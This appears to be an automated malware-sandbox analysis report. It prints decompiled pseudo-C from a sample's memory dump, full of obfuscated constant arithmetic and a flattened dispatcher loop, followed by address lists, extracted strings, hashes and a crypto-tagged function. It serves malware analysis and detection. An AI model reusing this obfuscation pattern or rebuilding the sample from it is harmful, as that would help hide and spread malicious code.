				_v2840 = _v2840 << 0xd;
				_v2840 = _v2840 ^ 0x6aeb880a;
				_v2904 = 0xa538e8;
				_v2904 = _v2904 >> 0xc;
				_v2904 = _v2904 ^ 0x62edf37a;
				_v2904 = _v2904 + 0xa832;
				_v2904 = _v2904 ^ 0x62e4cbfc;
				_v2888 = 0x16e2bd;
				_v2888 = _v2888 + 0xffff7f28;
				_v2888 = _v2888 * 0x64;
				_v2888 = _v2888 >> 7;
				_v2888 = _v2888 ^ 0x0018f901;
				_v2656 = 0x3f6e99;
				_v2656 = _v2656 >> 0xb;
				_v2656 = _v2656 ^ 0x0009fe52;
				_v2804 = 0xfa19bd;
				_v2804 = _v2804 / _t801;
				_v2804 = _v2804 << 0xa;
				_v2804 = _v2804 ^ 0x28048f08;
				_v2856 = 0x7adc8b;
				_t802 = 3;
				_v2856 = _v2856 / _t802;
				_v2856 = _v2856 << 0xe;
				_v2856 = _v2856 << 9;
				_v2856 = _v2856 ^ 0x17040ca6;
				_v2896 = 0x5caea7;
				_t803 = 0x48;
				_v2896 = _v2896 / _t803;
				_v2896 = _v2896 + 0xffff6657;
				_v2896 = _v2896 + 0xa67d;
				_v2896 = _v2896 ^ 0x000329ba;
				_v2812 = 0x1fcfbe;
				_v2812 = _v2812 >> 6;
				_t804 = 0x38;
				_v2812 = _v2812 / _t804;
				_v2812 = _v2812 ^ 0x0007b63c;
				_v2720 = 0xe95658;
				_v2720 = _v2720 >> 7;
				_v2720 = _v2720 ^ 0x00071478;
				_v2808 = 0x91ff61;
				_v2808 = _v2808 << 7;
				_v2808 = _v2808 | 0xd2954662;
				_v2808 = _v2808 ^ 0xdaf4ea8a;
				_v2824 = 0x446ad6;
				_v2824 = _v2824 ^ 0x83a91402;
				_t805 = 0x4c;
				_v2824 = _v2824 * 0x45;
				_v2824 = _v2824 >> 0x10;
				_v2824 = _v2824 ^ 0x000353dc;
				_v2708 = 0x4b7422;
				_v2708 = _v2708 >> 3;
				_v2708 = _v2708 ^ 0x0008e5f0;
				_v2844 = 0xac34a;
				_v2844 = _v2844 * 0xd;
				_v2844 = _v2844 * 0x1a;
				_v2844 = _v2844 >> 0x10;
				_v2844 = _v2844 ^ 0x0002a3d0;
				_v2716 = 0x7960bf;
				_v2716 = _v2716 + 0xffffc462;
				_v2716 = _v2716 ^ 0x007665d3;
				_v2744 = 0xbebd75;
				_v2744 = _v2744 ^ 0x7a1f8fc9;
				_v2744 = _v2744 / _t805;
				_v2744 = _v2744 ^ 0x0198bdde;
				_v2752 = 0x962c9a;
				_v2752 = _v2752 + 0xfffffa67;
				_t806 = 0x2e;
				_v2752 = _v2752 / _t806;
				_v2752 = _v2752 ^ 0x00030d52;
				_v2920 = 0x9dfed8;
				_v2920 = _v2920 ^ 0x0302cebd;
				_v2920 = _v2920 + 0x73d2;
				_v2920 = _v2920 >> 0xf;
				_v2920 = _v2920 ^ 0x000ba8ee;
				_v2872 = 0x884e2b;
				_v2872 = _v2872 | 0x5783eec3;
				_v2872 = _v2872 << 7;
				_v2872 = _v2872 + 0x1dcf;
				_v2872 = _v2872 ^ 0xc5fa8f40;
				_v2668 = 0x393d56;
				_v2668 = _v2668 >> 6;
				_v2668 = _v2668 ^ 0x0000ab92;
				_v2704 = 0x58f1e9;
				_t807 = 0x7c;
				_v2704 = _v2704 / _t807;
				_v2704 = _v2704 ^ 0x00048cf6;
				_v2820 = 0x3ec6d0;
				_v2820 = _v2820 + 0x5fc5;
				_t808 = 0x21;
				_v2820 = _v2820 / _t808;
				_v2820 = _v2820 ^ 0xd86d8e19;
				_v2820 = _v2820 ^ 0xd8634d78;
				_v2828 = 0xe4a70b;
				_v2828 = _v2828 ^ 0x2abc0881;
				_v2828 = _v2828 ^ 0xa79f6464;
				_v2828 = _v2828 >> 0xf;
				_v2828 = _v2828 ^ 0x000c3a60;
				_v2684 = 0x315a2d;
				_v2684 = _v2684 | 0xacf80d9c;
				_v2684 = _v2684 ^ 0xacfa1597;
				_v2692 = 0x63e424;
				_v2692 = _v2692 + 0x44ad;
				_v2692 = _v2692 ^ 0x0068b9d0;
				_v2724 = 0xdbaa4f;
				_v2724 = _v2724 + 0xffffd825;
				_v2724 = _v2724 ^ 0x00d800e8;
				_v2728 = 0xc5e7f7;
				_v2728 = _v2728 << 0xf;
				_v2728 = _v2728 << 0xd;
				_v2728 = _v2728 ^ 0x7003c940;
				_v2676 = 0x7098dc;
				_v2676 = _v2676 ^ 0x810ef473;
				_v2676 = _v2676 ^ 0x817bc99c;
				_t755 = E00D9ADFC();
				_t876 = _v2724;
				_t791 = _t755;
				while(1) {
					L1:
					_t756 = 0x32a72b9;
					do {
						while(1) {
							L2:
							_t887 = _t877 - 0x99d8a48;
							if(_t887 > 0) {
								break;
							}
							if(_t887 == 0) {
								_push(_t809);
								_t809 = _v2756;
								E00D9E259(_t809, _v2660, _v2900, _v2688, _t809, _t809,  &_v1564, _v2908, _v2916);
								_t883 =  &(_t883[8]);
								_t877 = 0xe471d7b;
								while(1) {
									L1:
									_t756 = 0x32a72b9;
									goto L2;
								}
							} else {
								if(_t877 == 0xe4882e) {
									_v2620 = E00D93789();
									_t779 = E00D9F14F(_v2932, _t778, _v2848, _v2796);
									_pop(_t812);
									_v2616 = 2 + _t779 * 2;
									_t809 = _v2788;
									_t773 = E00DA8727(_t809,  &_v2624, _v2648, _t791, _v2924, _v2732, _v2696, _t791, _t812, _t791, _v2640);
									_t883 =  &(_t883[0xa]);
									__eflags = _t773;
									if(__eflags != 0) {
										_t877 = 0xc8e8e82;
										while(1) {
											L1:
											_t756 = 0x32a72b9;
											goto L2;
										}
									}
								} else {
									if(_t877 == _t756) {
										_push(0xd912a0);
										E00D98C65(_v2888, __eflags,  &_v2604,  &_v1564, _v2656, _t876, _v2804, E00DB0AD3(_v2840, _v2904, __eflags), _v2856,  &_v524, _v2896, _v2812);
										_t809 = _v2720;
										E00DA2EED(_t809, _v2808, _v2824, _t782);
										_t883 =  &(_t883[0xc]);
										_t877 = 0xca1945b;
										while(1) {
											L1:
											_t756 = 0x32a72b9;
											goto L2;
										}
									} else {
										if(_t877 == 0x3352d63) {
											_t809 = _v2864;
											_t788 = E00D97739(_t809, _v2712, _v2632, _v2912, _v2628, _v2832);
											_t876 = _t788;
											_t883 =  &(_t883[4]);
											__eflags = _t788;
											_t756 = 0x32a72b9;
											_t877 =  !=  ? 0x32a72b9 : 0xc5894d6;
											continue;
										} else {
											if(_t877 == 0x5779399) {
												return E00DA9038(_v2724, _v2728, _v2624, _v2676);
											}
											if(_t877 != 0x58d7aaf) {
												goto L24;
											} else {
												_t809 = _v2920;
												E00D9F699(_t809, _t876, _v2872, _v2668, _v2704);
												_t883 =  &(_t883[3]);
												_t877 = 0xc5894d6;
												while(1) {
													L1:
													_t756 = 0x32a72b9;
													goto L2;
												}
											}
										}
									}
									L28:
								}
							}
							L27:
							return _t773;
							goto L28;
						}
						__eflags = _t877 - 0xc5894d6;
						if(_t877 == 0xc5894d6) {
							_t809 = _v2820;
							E00D9F699(_t809, _v2632, _v2828, _v2684, _v2692);
							_t883 =  &(_t883[3]);
							_t877 = 0x5779399;
							_t756 = 0x32a72b9;
							goto L24;
						} else {
							__eflags = _t877 - 0xc8e8e82;
							if(_t877 == 0xc8e8e82) {
								_t809 = _v2736;
								E00DA7EDD( &_v2624, _v2700,  &_v2632, _v2836);
								_t883 =  &(_t883[3]);
								asm("sbb esi, esi");
								_t877 = (_t877 & 0xfdbd99ca) + 0x5779399;
								goto L1;
							} else {
								__eflags = _t877 - 0xca1945b;
								if(__eflags == 0) {
									_push(_v2752);
									_push( &_v524);
									_push(0);
									_push(_v2744);
									_push(_v2716);
									_push(_v2844);
									_push(1);
									_push(0);
									E00DB06EF(_v2708, __eflags);
									_t883 =  &(_t883[8]);
									_t877 = 0x58d7aaf;
									while(1) {
										L1:
										_t756 = 0x32a72b9;
										goto L2;
									}
								} else {
									__eflags = _t877 - 0xe471d7b;
									if(__eflags != 0) {
										goto L24;
									} else {
										E00D924AA(_t809, _v2652, __eflags,  &_v2084, _v2680, _v2740, _v2780);
										_t766 = E00DA0F17(_v2892, _v2748,  &_v2084, _v2772, _v2672);
										_t884 =  &(_t883[7]);
										 *_t766 = 0;
										E00DACC3F(_v2816,  &_v1044, __eflags, _v2644);
										 *_t884 = 0xd911b0;
										E00DB06A6(__eflags,  &_v2084, _v2860, E00DB0AD3(_v2792, _v2800, __eflags), _v2868, _v2876,  &_v2604, _v2884);
										E00DA2EED(_v2784, _v2636, _v2664, _t768);
										_t809 =  &_v2604;
										_t773 = E00DB3306(_t809, _v2760, _v2768, _v2776, _t882, _v2852);
										_t883 =  &(_t884[0xd]);
										__eflags = _t773;
										if(__eflags != 0) {
											_t877 = 0xe4882e;
											while(1) {
												L1:
												_t756 = 0x32a72b9;
												goto L2;
											}
										}
									}
								}
							}
						}
						goto L27;
						L24:
						__eflags = _t877 - 0x51bfa3f;
					} while (__eflags != 0);
					return _t756;
				}
			}

0x00da1c12
0x00da1c18
0x00da1c22
0x00da1c2d
0x00da1c38
0x00da1c40
0x00da1c4b
0x00da1c56
0x00da1c61
0x00da1c6c
0x00da1c74
0x00da1c7c
0x00da1c84
0x00da1c8c
0x00da1c94
0x00da1cac
0x00da1cae
0x00da1cb3
0x00da1cb8
0x00da1cbf
0x00da1cca
0x00da1cd5
0x00da1cdd
0x00da1ce9
0x00da1ced
0x00da1cf5
0x00da1cfd
0x00da1d08
0x00da1d13
0x00da1d1e
0x00da1d26
0x00da1d2e
0x00da1d3e
0x00da1d42
0x00da1d4a
0x00da1d52
0x00da1d57
0x00da1d5f
0x00da1d67
0x00da1d6f
0x00da1d82
0x00da1d83
0x00da1d8a
0x00da1d95
0x00da1da9
0x00da1db0
0x00da1dbb
0x00da1dc6
0x00da1dd1
0x00da1ddc
0x00da1de7
0x00da1df2
0x00da1dfa
0x00da1e02
0x00da1e0d
0x00da1e15
0x00da1e1d
0x00da1e22
0x00da1e2a
0x00da1e32
0x00da1e3d
0x00da1e48
0x00da1e53
0x00da1e5e
0x00da1e66
0x00da1e71
0x00da1e7e
0x00da1e89
0x00da1e94
0x00da1e9f
0x00da1eaa
0x00da1eb5
0x00da1ec0
0x00da1ecb
0x00da1ed6
0x00da1ede
0x00da1ee9
0x00da1ef4
0x00da1eff
0x00da1f06
0x00da1f11
0x00da1f1c
0x00da1f24
0x00da1f2c
0x00da1f37
0x00da1f3f
0x00da1f44
0x00da1f49
0x00da1f51
0x00da1f59
0x00da1f61
0x00da1f66
0x00da1f6e
0x00da1f73
0x00da1f7b
0x00da1f83
0x00da1f8b
0x00da1f93
0x00da1f9b
0x00da1fa3
0x00da1fab
0x00da1fb3
0x00da1fbb
0x00da1fc0
0x00da1fc8
0x00da1fd3
0x00da1fdb
0x00da1fe3
0x00da1fee
0x00da1ff9
0x00da2004
0x00da200f
0x00da201a
0x00da2025
0x00da2030
0x00da203b
0x00da2044
0x00da2049
0x00da2052
0x00da2059
0x00da205e
0x00da2067
0x00da2072
0x00da207d
0x00da2090
0x00da2091
0x00da2098
0x00da20a3
0x00da20b6
0x00da20bd
0x00da20c8
0x00da20d3
0x00da20e1
0x00da20ea
0x00da20f7
0x00da20fa
0x00da20fe
0x00da2106
0x00da210e
0x00da2116
0x00da211e
0x00da2122
0x00da212a
0x00da2135
0x00da2148
0x00da214f
0x00da215a
0x00da2162
0x00da2167
0x00da216f
0x00da2177
0x00da217f
0x00da2187
0x00da2197
0x00da21a0
0x00da21a1
0x00da21a5
0x00da21ad
0x00da21b8
0x00da21c0
0x00da21c8
0x00da21d3
0x00da21de
0x00da21e6
0x00da21f1
0x00da21fc
0x00da2210
0x00da2217
0x00da2222
0x00da222f
0x00da2233
0x00da223b
0x00da2240
0x00da2248
0x00da2253
0x00da225e
0x00da2269
0x00da227c
0x00da2283
0x00da228e
0x00da2299
0x00da22a4
0x00da22ac
0x00da22b7
0x00da22c2
0x00da22cd
0x00da22d8
0x00da22e0
0x00da22e5
0x00da22ed
0x00da22f5
0x00da22fd
0x00da2305
0x00da230d
0x00da2317
0x00da231b
0x00da2323
0x00da232e
0x00da2339
0x00da2344
0x00da2354
0x00da2359
0x00da235f
0x00da2367
0x00da236f
0x00da2377
0x00da237f
0x00da2388
0x00da238b
0x00da238f
0x00da2397
0x00da239f
0x00da23a7
0x00da23af
0x00da23b7
0x00da23bc
0x00da23c4
0x00da23cc
0x00da23d1
0x00da23d9
0x00da23e1
0x00da23e9
0x00da23f1
0x00da23fe
0x00da2402
0x00da2407
0x00da240f
0x00da241a
0x00da2422
0x00da242d
0x00da2443
0x00da244a
0x00da2452
0x00da245d
0x00da2469
0x00da246e
0x00da2474
0x00da2479
0x00da247e
0x00da2486
0x00da2492
0x00da2497
0x00da249d
0x00da24a5
0x00da24ad
0x00da24b5
0x00da24c0
0x00da24cf
0x00da24d2
0x00da24d9
0x00da24e4
0x00da24ef
0x00da24f7
0x00da2502
0x00da250d
0x00da2515
0x00da2520
0x00da252b
0x00da2533
0x00da2544
0x00da2547
0x00da254e
0x00da2556
0x00da2561
0x00da256c
0x00da2574
0x00da257f
0x00da258c
0x00da2595
0x00da2599
0x00da259e
0x00da25a6
0x00da25b1
0x00da25bc
0x00da25c7
0x00da25d2
0x00da25e8
0x00da25ef
0x00da25fa
0x00da2605
0x00da2617
0x00da261c
0x00da2625
0x00da2630
0x00da2638
0x00da2640
0x00da2648
0x00da264d
0x00da2655
0x00da265d
0x00da2665
0x00da266a
0x00da2672
0x00da267a
0x00da2685
0x00da268d
0x00da2698
0x00da26aa
0x00da26af
0x00da26b8
0x00da26c3
0x00da26ce
0x00da26e0
0x00da26e3
0x00da26ea
0x00da26f5
0x00da2700
0x00da2708
0x00da2710
0x00da2718
0x00da271d
0x00da2725
0x00da2730
0x00da273b
0x00da2746
0x00da2751
0x00da275c
0x00da2767
0x00da2772
0x00da277d
0x00da2788
0x00da2793
0x00da279b
0x00da27a3
0x00da27ae
0x00da27b9
0x00da27c4
0x00da27d3
0x00da27d8
0x00da27df
0x00da27e1
0x00da27e1
0x00da27e1
0x00da27e6
0x00da27e6
0x00da27e6
0x00da27e6
0x00da27ec
0x00000000
0x00000000
0x00da27f2
0x00da2999
0x00da29be
0x00da29c5
0x00da29ca
0x00da29cd
0x00da27e1
0x00da27e1
0x00da27e1
0x00000000
0x00da27e1
0x00da27f8
0x00da27fe
0x00da2928
0x00da2937
0x00da293d
0x00da2956
0x00da2977
0x00da297f
0x00da2984
0x00da2987
0x00da2989
0x00da298f
0x00da27e1
0x00da27e1
0x00da27e1
0x00000000
0x00da27e1
0x00da27e1
0x00da2804
0x00da2806
0x00da289a
0x00da28e2
0x00da28f6
0x00da28fd
0x00da2902
0x00da2905
0x00da27e1
0x00da27e1
0x00da27e1
0x00000000
0x00da27e1
0x00da280c
0x00da2812
0x00da2870
0x00da2874
0x00da2879
0x00da287b
0x00da287e
0x00da2885
0x00da288a
0x00000000
0x00da2814
0x00da281a
0x00000000
0x00da2bfe
0x00da2826
0x00000000
0x00da282c
0x00da2840
0x00da2844
0x00da2849
0x00da284c
0x00da27e1
0x00da27e1
0x00da27e1
0x00000000
0x00da27e1
0x00da27e1
0x00da2826
0x00da2812
0x00000000
0x00da2806
0x00da27fe
0x00da2c09
0x00da2c09
0x00000000
0x00da2c09
0x00da29d7
0x00da29dd
0x00da2bb5
0x00da2bbc
0x00da2bc1
0x00da2bc4
0x00da2bc9
0x00000000
0x00da29e3
0x00da29e3
0x00da29e9
0x00da2b6e
0x00da2b7c
0x00da2b81
0x00da2b86
0x00da2b8e
0x00000000
0x00da29ef
0x00da29ef
0x00da29f5
0x00da2b1b
0x00da2b29
0x00da2b2a
0x00da2b2c
0x00da2b33
0x00da2b3a
0x00da2b45
0x00da2b47
0x00da2b49
0x00da2b4e
0x00da2b51
0x00da27e1
0x00da27e1
0x00da27e1
0x00000000
0x00da27e1
0x00da29fb
0x00da29fb
0x00da2a01
0x00000000
0x00da2a07
0x00da2a2b
0x00da2a51
0x00da2a56
0x00da2a62
0x00da2a73
0x00da2a86
0x00da2abd
0x00da2adb
0x00da2ae4
0x00da2b01
0x00da2b06
0x00da2b09
0x00da2b0b
0x00da2b11
0x00da27e1
0x00da27e1
0x00da27e1
0x00000000
0x00da27e1
0x00da27e1
0x00da2b0b
0x00da2a01
0x00da29f5
0x00da29e9
0x00000000
0x00da2bce
0x00da2bce
0x00da2bce
0x00000000
0x00da27e6

Strings

EUH, xrefs: 00DA203B
)wEUH, xrefs: 00DA2052
XV, xrefs: 00DA24E4
:Bp!, xrefs: 00DA2116
:&, xrefs: 00DA22D8
W, xrefs: 00DA225E
P, xrefs: 00DA1F59
E`K, xrefs: 00DA1E32
$c, xrefs: 00DA2746
V=9, xrefs: 00DA267A
*QD, xrefs: 00DA21C8
1d, xrefs: 00DA238F
$g , xrefs: 00DA2072
"tK, xrefs: 00DA2561
-Z1, xrefs: 00DA2725
A$0, xrefs: 00DA21A5

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: "tK$$g $$c$*QD$-Z1$1d$:Bp!$:&$A$0$EUH$E`K$V=9$XV$ )wEUH$P$W
API String ID: 0-3509732160
Opcode ID: 63c079b2562f5f3da1c2ec1c17910cea3dfd09c1767ee49fd0992b22435ccbe6
Instruction ID: 6f4350b146175198e828faa2739eccd6d7532b66d24a17bdb91223a111120c14
Opcode Fuzzy Hash: 63c079b2562f5f3da1c2ec1c17910cea3dfd09c1767ee49fd0992b22435ccbe6
Instruction Fuzzy Hash: 8F72FF725083809BD378CF25C58AB9BBBE1FBC5318F108A1DE5DA96260D7B18949CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00D9996C, Relevance: 19.4, Strings: 15, Instructions: 674
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00D9996C(signed int* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, signed int _a36, intOrPtr _a40) {
				signed int* _v4;
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				void* __ecx;
				signed int _t757;
				void* _t765;
				signed int _t769;
				signed int _t775;
				signed int _t786;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t791;
				signed int _t792;
				signed int _t793;
				signed int _t794;
				signed int _t795;
				signed int _t796;
				signed int _t797;
				signed int _t798;
				signed int _t799;
				signed int _t800;
				signed int _t801;
				signed int _t802;
				signed int _t803;
				signed int _t804;
				void* _t805;
				signed int _t814;
				intOrPtr* _t823;
				void* _t874;
				signed int _t891;
				signed int _t892;
				signed int _t893;
				signed int _t895;
				signed int* _t902;
				void* _t904;

				_push(_a40);
				_push(_a36);
				_v4 = __edx;
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20 & 0x0000ffff);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E00D98002(_a20 & 0x0000ffff);
				_v264 = 0xc60fd9;
				_v264 = _v264 >> 0xb;
				_t902 =  &(( &_v268)[0xc]);
				_v264 = _v264 ^ 0xb6865c26;
				_v264 = _v264 ^ 0xb68644e7;
				_t786 = 0;
				_v232 = 0x94febf;
				_t893 = 0x15b98a1;
				_v232 = _v232 << 0xd;
				_v232 = _v232 + 0xffff7487;
				_v232 = _v232 ^ 0x8b0095cf;
				_v232 = _v232 ^ 0x14d7c15b;
				_v132 = 0x739728;
				_v132 = _v132 + 0x181a;
				_v132 = _v132 + 0xffff9c9c;
				_v132 = _v132 ^ 0x00734b16;
				_v188 = 0x783031;
				_v188 = _v188 << 5;
				_v12 = 0;
				_t788 = 0x6e;
				_v188 = _v188 * 0x59;
				_v188 = _v188 ^ 0x3918a120;
				_v148 = 0xdd82e;
				_v148 = _v148 | 0xe4e540fc;
				_v148 = _v148 + 0xc534;
				_v148 = _v148 ^ 0xe4eede32;
				_v116 = 0x899f5;
				_v116 = _v116 / _t788;
				_v116 = _v116 + 0x5648;
				_v116 = _v116 ^ 0x00406a4c;
				_v156 = 0x9ca5d6;
				_t789 = 0x1c;
				_t891 = 0x7b;
				_v156 = _v156 * 0x64;
				_v156 = _v156 << 9;
				_v156 = _v156 ^ 0x618b3000;
				_v32 = 0xd5cd6e;
				_v32 = _v32 / _t789;
				_v32 = _v32 ^ 0x0407a2c3;
				_v64 = 0x23343;
				_v64 = _v64 / _t891;
				_v64 = _v64 ^ 0x00080494;
				_v252 = 0xfa5485;
				_v252 = _v252 * 0x42;
				_v252 = _v252 | 0xc32886a6;
				_t790 = 0x50;
				_v252 = _v252 * 0x35;
				_v252 = _v252 ^ 0x8227d546;
				_v224 = 0x2e8bf6;
				_v224 = _v224 | 0xf76545cb;
				_v224 = _v224 / _t790;
				_v224 = _v224 << 6;
				_v224 = _v224 ^ 0xc5f30dc0;
				_v16 = 0x78ee4b;
				_v16 = _v16 << 1;
				_v16 = _v16 ^ 0x80f1dc96;
				_v208 = 0x791fee;
				_v208 = _v208 >> 8;
				_v208 = _v208 >> 2;
				_v208 = _v208 >> 0xb;
				_v208 = _v208 ^ 0x00000003;
				_v152 = 0xbd5041;
				_t791 = 5;
				_v152 = _v152 / _t791;
				_v152 = _v152 + 0x721a;
				_v152 = _v152 ^ 0x00264eb2;
				_v136 = 0x6c2d31;
				_v136 = _v136 + 0xffff6aee;
				_v136 = _v136 ^ 0x21760cef;
				_v136 = _v136 ^ 0x211d94ef;
				_v120 = 0x6ceb08;
				_v120 = _v120 + 0xffffcbf6;
				_v120 = _v120 ^ 0x9f43d110;
				_v120 = _v120 ^ 0x9f2f67f1;
				_v88 = 0xc74391;
				_v88 = _v88 + 0xffff6c5e;
				_v88 = _v88 ^ 0x00c6afec;
				_v128 = 0x4b3465;
				_v128 = _v128 | 0xcf5ecbdf;
				_v128 = _v128 ^ 0xcf5ffeff;
				_v264 = 0xfd23b8;
				_t792 = 0x4e;
				_v264 = _v264 / _t792;
				_t793 = 0x45;
				_v264 = _v264 / _t793;
				_v264 = _v264 ^ 0x0002f78a;
				_v264 = 0xfa9619;
				_t794 = 0x1e;
				_v264 = _v264 / _t794;
				_v264 = _v264 + 0xffffb0fb;
				_v264 = _v264 ^ 0x000b775c;
				_v264 = 0x807ba4;
				_v264 = _v264 << 4;
				_v264 = _v264 << 0xa;
				_v264 = _v264 ^ 0x1ee80ab8;
				_v264 = 0x9af257;
				_v264 = _v264 << 0xb;
				_v264 = _v264 * 0x56;
				_v264 = _v264 ^ 0x6b422079;
				_v268 = 0x26ec4d;
				_v268 = _v268 << 0xc;
				_v268 = _v268 >> 0xe;
				_v268 = _v268 ^ 0xbf1cc723;
				_v268 = _v268 ^ 0xbf1316e8;
				_v268 = 0x604ef4;
				_v268 = _v268 | 0xbb4d6b52;
				_v268 = _v268 >> 5;
				_t795 = 0x18;
				_v268 = _v268 / _t795;
				_v268 = _v268 ^ 0x003fa9db;
				_v268 = 0xff1eaf;
				_v268 = _v268 << 8;
				_t796 = 0xa;
				_v268 = _v268 * 0x6c;
				_v268 = _v268 >> 0xc;
				_v268 = _v268 ^ 0x000cb5e2;
				_v260 = 0xc7e312;
				_v260 = _v260 | 0x4ced50b1;
				_v260 = _v260 ^ 0x4ce89335;
				_v260 = 0xaa4ecb;
				_v260 = _v260 << 0x10;
				_v260 = _v260 ^ 0x4ec443b3;
				_v264 = 0x38c20f;
				_v264 = _v264 >> 9;
				_v264 = _v264 | 0x7754c32c;
				_v264 = _v264 ^ 0x775a6c62;
				_v268 = 0xc43478;
				_v268 = _v268 * 0x54;
				_v268 = _v268 ^ 0x37dd0540;
				_v268 = _v268 + 0x34a3;
				_v268 = _v268 ^ 0x77bf44fd;
				_v268 = 0x77fa17;
				_v268 = _v268 + 0xffffb1ac;
				_v268 = _v268 * 0x73;
				_v268 = _v268 << 5;
				_v268 = _v268 ^ 0xb8444167;
				_v172 = 0x123f2b;
				_v172 = _v172 ^ 0x6fe657fb;
				_v172 = _v172 + 0x9431;
				_v172 = _v172 ^ 0x6ff55f0d;
				_v240 = 0xf43856;
				_v240 = _v240 + 0xffff5dae;
				_v240 = _v240 + 0xffff503f;
				_v240 = _v240 >> 5;
				_v240 = _v240 ^ 0x000ec78e;
				_v80 = 0x77a9f7;
				_v80 = _v80 << 0xa;
				_v80 = _v80 ^ 0xdeafa158;
				_v248 = 0x33c41a;
				_v248 = _v248 + 0xffffb1d0;
				_v248 = _v248 * 0x66;
				_v248 = _v248 << 9;
				_v248 = _v248 ^ 0x01f08429;
				_v216 = 0x461c40;
				_v216 = _v216 * 0x16;
				_v216 = _v216 >> 0xb;
				_v216 = _v216 / _t796;
				_v216 = _v216 ^ 0x0005571e;
				_v164 = 0x51d98c;
				_v164 = _v164 | 0x3f5455a1;
				_v164 = _v164 * 0x74;
				_v164 = _v164 ^ 0xb2e52dfc;
				_v108 = 0x44745a;
				_t314 =  &_v108; // 0x44745a
				_v108 =  *_t314 * 0x63;
				_v108 = _v108 + 0xffff8cf2;
				_v108 = _v108 ^ 0x1a7ba94f;
				_v40 = 0xed32ff;
				_v40 = _v40 + 0x1ad9;
				_v40 = _v40 ^ 0x00e55aa4;
				_v196 = 0x47b3fb;
				_v196 = _v196 >> 0xe;
				_v196 = _v196 ^ 0xd9c7612f;
				_v196 = _v196 ^ 0xa0a00898;
				_v196 = _v196 ^ 0x7960f230;
				_v180 = 0x538ee1;
				_v180 = _v180 >> 6;
				_v180 = _v180 | 0xecdb2f6f;
				_v180 = _v180 ^ 0xecd76c94;
				_v104 = 0x633234;
				_v104 = _v104 ^ 0xd30b5520;
				_v104 = _v104 | 0xe2e43f1e;
				_v104 = _v104 ^ 0xf3ed65d6;
				_v212 = 0xf9c0f6;
				_v212 = _v212 + 0x2d4a;
				_t797 = 6;
				_v212 = _v212 * 0x4f;
				_v212 = _v212 + 0x46b3;
				_v212 = _v212 ^ 0x4d2b61f6;
				_v100 = 0xc841ec;
				_v100 = _v100 * 0x22;
				_v100 = _v100 ^ 0x1a9d1048;
				_v28 = 0x65babf;
				_v28 = _v28 + 0xffff8486;
				_v28 = _v28 ^ 0x006f3125;
				_v256 = 0xbe5bf2;
				_v256 = _v256 + 0xc39e;
				_v256 = _v256 * 0xc;
				_v256 = _v256 / _t797;
				_v256 = _v256 ^ 0x01787995;
				_v72 = 0xd91fd7;
				_v72 = _v72 + 0x652d;
				_v72 = _v72 ^ 0x00d4f002;
				_v96 = 0xd13a07;
				_t798 = 0x60;
				_v96 = _v96 / _t798;
				_v96 = _v96 ^ 0x000707c2;
				_v20 = 0xffc8b7;
				_v20 = _v20 ^ 0x1e1e598a;
				_v20 = _v20 ^ 0x1ee18fe4;
				_v176 = 0xcdab5;
				_v176 = _v176 ^ 0x9598c7bd;
				_v176 = _v176 + 0xffff92b0;
				_v176 = _v176 ^ 0x959d0362;
				_v184 = 0xa758a4;
				_v184 = _v184 + 0x5903;
				_v184 = _v184 + 0xfffff609;
				_v184 = _v184 ^ 0x00ae750e;
				_v56 = 0xc83e02;
				_v56 = _v56 << 2;
				_v56 = _v56 ^ 0x0323bea3;
				_v76 = 0xad0f66;
				_v76 = _v76 >> 0x10;
				_v76 = _v76 ^ 0x00063244;
				_v84 = 0x39efa1;
				_v84 = _v84 ^ 0xb68855ee;
				_v84 = _v84 ^ 0xb6b61069;
				_v92 = 0xe02175;
				_v92 = _v92 | 0xb2c815a7;
				_v92 = _v92 ^ 0xb2e41d90;
				_v236 = 0x4481b2;
				_v236 = _v236 + 0x743f;
				_v236 = _v236 * 0x2f;
				_v236 = _v236 >> 0xf;
				_v236 = _v236 ^ 0x0006d55a;
				_v160 = 0xb9532c;
				_v160 = _v160 << 5;
				_v160 = _v160 * 0x49;
				_v160 = _v160 ^ 0x9b1801bc;
				_v244 = 0x1281ad;
				_v244 = _v244 + 0xa67d;
				_v244 = _v244 ^ 0x7c1b37b8;
				_v244 = _v244 + 0xffff20cb;
				_v244 = _v244 ^ 0x7c0b9163;
				_v192 = 0x88e24d;
				_v192 = _v192 ^ 0x2ebd1bb6;
				_v192 = _v192 / _t891;
				_v192 = _v192 ^ 0x006b6db3;
				_v68 = 0xd4274f;
				_t799 = 0x2e;
				_v68 = _v68 / _t799;
				_v68 = _v68 ^ 0x00048e69;
				_v144 = 0xb83dd4;
				_v144 = _v144 | 0xb8649d90;
				_v144 = _v144 + 0x9cab;
				_v144 = _v144 ^ 0xb8f32006;
				_v228 = 0x23b3be;
				_v228 = _v228 << 8;
